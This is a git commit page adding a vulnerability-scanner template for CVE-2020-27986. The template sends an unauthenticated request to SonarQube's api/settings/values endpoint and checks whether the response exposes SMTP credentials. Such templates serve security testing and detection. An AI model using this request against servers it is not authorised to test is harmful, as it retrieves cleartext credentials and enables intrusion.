Merge pull request #779 from pikpikcu/patch-31

added CVE-2020-27986
patch-1
PD-Team 2021-01-30 19:24:19 +05:30 committed by GitHub
commit 56f508af7e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 31 additions and 0 deletions

View File

@ -0,0 +1,31 @@
id: CVE-2020-27986
info:
name: SonarQube unauth
author: pikpikcu
severity: medium
description: |
SonarQube 8.4.2.36762 allows remote attackers to discover cleartext SMTP,
SVN, and GitLab credentials via the api/settings/values URI.
NOTE: reportedly, the vendor's position for SMTP and SVN is "it is the administrator's responsibility to configure it."
# Refrences: https://nvd.nist.gov/vuln/detail/CVE-2020-27986
requests:
- method: GET
path:
- "{{BaseURL}}/api/settings/values"
matchers-condition: and
matchers:
- type: word
words:
- email.smtp_host.secured
- email.smtp_password.secured
- email.smtp_port.secured
- email.smtp_username.secured
part: body
condtion: and
- type: status
status:
- 200